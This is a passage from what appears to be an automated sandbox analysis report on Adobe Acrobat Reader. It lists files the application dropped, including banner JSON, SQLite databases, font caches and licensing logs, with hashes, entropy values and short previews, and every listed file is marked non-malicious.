Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316782251685249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfYdPeUkwRe9:YvXKXEZs1QWRuUhUIGg8Ukee9
MD5:	3C910185DB96A5CEB91B91FD3E2F3DDE
SHA1:	E83A18CAEB309CBCA4373A03679BDDFF739C4B42
SHA-256:	F07CC9ABD0917C34F36DB126709EE912FC38AD822FABAB711673A432F45F13B9
SHA-512:	1541E0B9E81D79023D6E0146F1FA17C34D7993BD1CBB19666B468F490304002EE46BE301462CF91A3184F7AEA0E95B0515FC139DDF1123076E62C8D56BA4C0C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303427077613319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJf+dPeUkwRe9:YvXKXEZs1QWRuUhUIG28Ukee9
MD5:	5C16CE899F459314B2AB179970CD99BB
SHA1:	7DA697ACDEB84DAECE0BEF6E2BFB67814F82A13F
SHA-256:	0A0BD64EC619B91CFECDE6827A87D1E85F175E608E7195EFBC2F1ACCA177F06C
SHA-512:	1A1D6F82F8DC4CE598FD3D8914EA436C0CEB988B6CAFD3B14939A4ED0E5CA80EDA5DC905892861C5E44243CEFAD1C858946CD078DDE56C534FAEAE2109AE264C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.300214007423131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfbPtdPeUkwRe9:YvXKXEZs1QWRuUhUIGDV8Ukee9
MD5:	FA82DDD90FF37DFA4831887D227CDAB3
SHA1:	C1D986C4299946B104ADC5F08046A376ED137375
SHA-256:	9C18B4805FFA1597E23369E3E00B6F90E68054D202E8448D8F959BB5B0F10D97
SHA-512:	09F071B44A0841D18C56C1049263D942EE6F2654ADFD48CF0ED24697DCC6CBB3D6FF24D54FCE258E6C605D501AD86045BD3EBA1F5FA7C55981E2B22A698310B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.304402895915131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJf21rPeUkwRe9:YvXKXEZs1QWRuUhUIG+16Ukee9
MD5:	A2B122CD8F76816BE8D7A46567CC63F2
SHA1:	365D525D787BA745EAD50E548B832AFEE499CC32
SHA-256:	DE046393B1C35D376192A4F07951787E5D1F531731CC371665A5D16097846EB5
SHA-512:	697315F2E6ABD8172A2B80B66960EB87514A5DFFE7FA818F8FE70E4C41F35D9D8BA6F426D0B7154CD81F7ACFC5D80886B6E3CB19CFB17AE28797B7EDCD5F6C92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66212090111684
Encrypted:	false
SSDEEP:	24:Yv6XZUdamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB:YvSUxBgkDMUJUAh8cvMB
MD5:	D280F6D358355855F4740A9C3AFF1AD3
SHA1:	A60FCD79653EED38233CB0A6B386FE820D4E71E9
SHA-256:	F07D8DEE7B2B725FB2CB2FAB2D752895779E2077C446849B941263A162C304F2
SHA-512:	EA3B6C3C5B33920DE48CB9D1989BE858C0015E4EC27086D76B51412D4CF5E406B54ACB4908E4F7ED3F60CD544BB1E5F43D3E0F784D85EF7C62791C40D1A2E61B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.280539325716803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJfshHHrPeUkwRe9:YvXKXEZs1QWRuUhUIGUUUkee9
MD5:	61542945759DD36EC2F9474A87C0BE5D
SHA1:	6F05C3C1D65A2DFBB76E1EB040CD3F5760713C0C
SHA-256:	FFB8CE8B12E5C96DBB9D36796E667BD5966C5432284CB1CBF004DAC782DF70C9
SHA-512:	D3A66480CA3BB958F012CA0A1245D7246197A1C0AFCA8F12E6D0EC92DECE1DE8DB20772D02644B410F669E6A5A25A23B6DC84CEFB6626C3E6112766E6A020B38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.29017994021399
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgRZ4T1Q5IRR4UhUR0YDoAvJTqgFCrPeUkwRe9:YvXKXEZs1QWRuUhUIGTq16Ukee9
MD5:	35B958A17BB7B3A49FB62A4D0943D0CA
SHA1:	40780BB056C5119F5CF21609215BF6DDB627DDB9
SHA-256:	0CC3A9202B60659F4FFAAD1B4A6CA9A830456CE51AAED2716AD429826EF81B3A
SHA-512:	31042304982B853CE4CD294E497ECEEF68086CCE22EC3C2B89A73A5012DCA7D672A6F9D71A0F3FC27E18953CAB6D77BBD53332E275878214F689D03CCC7B4A25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9b62bca-a199-41a9-b5be-24e59ba6800d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732778436859,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.147916841922561
Encrypted:	false
SSDEEP:	24:Ytw1vPXCQTaabFayPB1SHTkxHNX8xDcoLjcTj0ShNV2F2LSjC6pLGNDy5u3U9kBl:Y+VPXT9BuCHNX8XcfBIJ9LGN2MU9kBl
MD5:	A8AE3C4142844DF31C2438D1F592FEE6
SHA1:	DB67C3E8623CED540DF0187224D98F42835E6EA4
SHA-256:	A1DEAB12AC96E61E4E9E7F4D6C7FA605A9FB7205099E1D8D26C4080C7EAC88F0
SHA-512:	B10F72E1650EB0878925C3FEFF8544622B1075254DAF5F5DAABBDEC1A716026550CF9F9DEE9FAE81F12312C93E1082E3C483523B531873B8EEB33227EFC7CEE0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cc344ccf1f0f4fc8d572b0673dd92185","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1732599561000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"682a2367cb898734c57fa2399b00190b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1732599561000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e8900411186a19245ac0e60e183db292","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1732599561000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"29c7f5cd811cc757902eac4bef768f5c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1732599561000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"31285a3aa5ca83976fa552652b8b7a04","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1732599561000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8cc9883ad7e6101f21d853fd99684e0f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9867447262654003
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6QeBRxIcLESiAieZRxF:TVl2GL7ms67YXtrqcI8v
MD5:	94BBDC32F21F2C8E0C3C00136EF1F8BA
SHA1:	73EDDE633B1D658DC29F26CB5971CFB72234EF0C
SHA-256:	BAD97A1666B1DDCF2697E3DDBB8A702CAA6875AF693E1BFDD71352AE1DF90146
SHA-512:	1457197916316F3AB658D57F707618D55CC37402C95E933B8AB0B8F3E949689A1E49E0400567A1701A4596EAC2DC83A823C55990BCF4EF5E644022C96212E5F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3418273429229712
Encrypted:	false
SSDEEP:	24:7+t7aASY9QmQ6QeBRx7cLESiAi0mY9QfqLBx/XYKQvGJF7ursJ:7M7alYXtrlcI8KYqqll2GL7msJ
MD5:	82768AC2C434E1388B575BCB0F54628A
SHA1:	B401D10EB1B500800C36B36AF3A4AF223236FF90
SHA-256:	60FAF7970D58346831AE52D94DAA543DAE6667FE86B7589840578E670C9F9215
SHA-512:	4AC4F7D866F22A9D3930FF3347A4B77E1C4C4C35ECD5467EAB11C49351B4BB8CBE943D16F5BB5580DF3D280B4F0336A909D054529E3171EC65B17EEB586A414B
Malicious:	false
Preview:	.... .c.......n7......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgPqyDUIVB0W4PQGNVwYVu/P21caqYyu:6a6TZ44ADEPqyDhVK9PL0YVuVK
MD5:	598AA3020FED3AA27E1410A0AA69DE31
SHA1:	08692E8244836110A3950233C46ACD0FE6EE1624
SHA-256:	AC65541E90764B329BE49B27F30780A2390AF7C124854D809D4761F0E283D910
SHA-512:	1C44627B949462577E4A548F640C4A617AA0CB86D59F521907F782BC7520F5A10B8936037FC8C4191293C033D13ACF17DF8C0D1A0417E8BAC7B4FC9EAA11385B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI8a55c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8mOK2ow:Qw946cPbiOxDlbYnuRKvO1ow
MD5:	EAD0F426E549B202F5EB843513688CE3
SHA1:	EB39394BC2781090ED4A8F931CF732927673FDFF
SHA-256:	9F4B5B0EC7002EAD3E55A2AC5A00826A149A4BDD8B66E10A5E6FDFB36ADAC77A
SHA-512:	34EE623A4107AB481F9AEC99C6756278A355BEDB632B1CB7E753FB8C2E3F743CC94462052F79A07DC416FC05E8FC942F94182722B121E898910C24E38EF2DE39
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.6./.1.1./.2.0.2.4. . .0.0.:.3.9.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-26 00-39-14-258.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15091
Entropy (8bit):	5.363385361116867
Encrypted:	false
SSDEEP:	384:+gUxcYESc4jLsTeWF7+1IjSrzYniuamjNGvpr/pbJGD+QoJBv+CHXiXyvYGb25xP:iyd
MD5:	A8FC7EA42255B0281F61D485B7FDE0BC
SHA1:	B000201D041C202413F9449324F490F8592917BB
SHA-256:	00B7A1200E55C16026108F00B4756366556D803DF3D41888D104C7E6C0DE7BA5
SHA-512:	62FEB5E8105B7658964066AA04A25AB14EEEA8325790A942D6DC8B657FC64572C97579EEB5C7FBD00819D47BCC5B9A41B8B2AD2D52626E32D6E18702561F8C80
Malicious:	false
Preview:	SessionID=b1c54dd2-a49a-44f7-bc5a-623e7f3cc07b.1732599554274 Timestamp=2024-11-26T00:39:14:274-0500 ThreadID=612 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b1c54dd2-a49a-44f7-bc5a-623e7f3cc07b.1732599554274 Timestamp=2024-11-26T00:39:14:276-0500 ThreadID=612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b1c54dd2-a49a-44f7-bc5a-623e7f3cc07b.1732599554274 Timestamp=2024-11-26T00:39:14:276-0500 ThreadID=612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b1c54dd2-a49a-44f7-bc5a-623e7f3cc07b.1732599554274 Timestamp=2024-11-26T00:39:14:276-0500 ThreadID=612 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b1c54dd2-a49a-44f7-bc5a-623e7f3cc07b.1732599554274 Timestamp=2024-11-26T00:39:14:276-0500 ThreadID=612 Component=ngl-lib_NglAppLib Description="SetConfig: N

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.422675594337526
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcbJtcbWIy4cbR:fhWlA/TVFy3
MD5:	E6C68D0D919258BF2C7498B33D6F2E05
SHA1:	2F0C2FEC748ABAAF15AE13CB71A58764A60E41ED
SHA-256:	B75D246C081F9D8B517F7C96A07D288EFDAD79133B5C1EC0E274612BCF58E01A
SHA-512:	1A91E05E31BCCCF4675E92DF60C2DFC0ECEE356A91DBC3B81A4167119D550AF8F7AA261B86F460671AB74285C70B36F3739A5681E1C281A05DB75814006B62BF
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\35ae02c5-3ee7-43d4-85f0-c9cf32b96a68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/yOWL07oYGZ+ZwYIGNP0dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:HWLxYGZ+ZwZG63mlind9i4ufFXpAXkru
MD5:	EF7914455DAB2660952E16A587441116
SHA1:	04B66FC3FCE89E9D032BAD383654219CE1898BF2
SHA-256:	F484111B43C9AF06C9B7C1FED8F6E69D364E53CCE9170270C4CA76D4D42FD409
SHA-512:	7560C58F9B59291C66DA4D9E100FF6C046048CFD222627852F7AB229661CA294D76A89716800A9EA56C0413658D31382016F86D15A440869084886E8E6EF647E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\486b87be-6815-49df-abc1-c1b1a8258bb7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
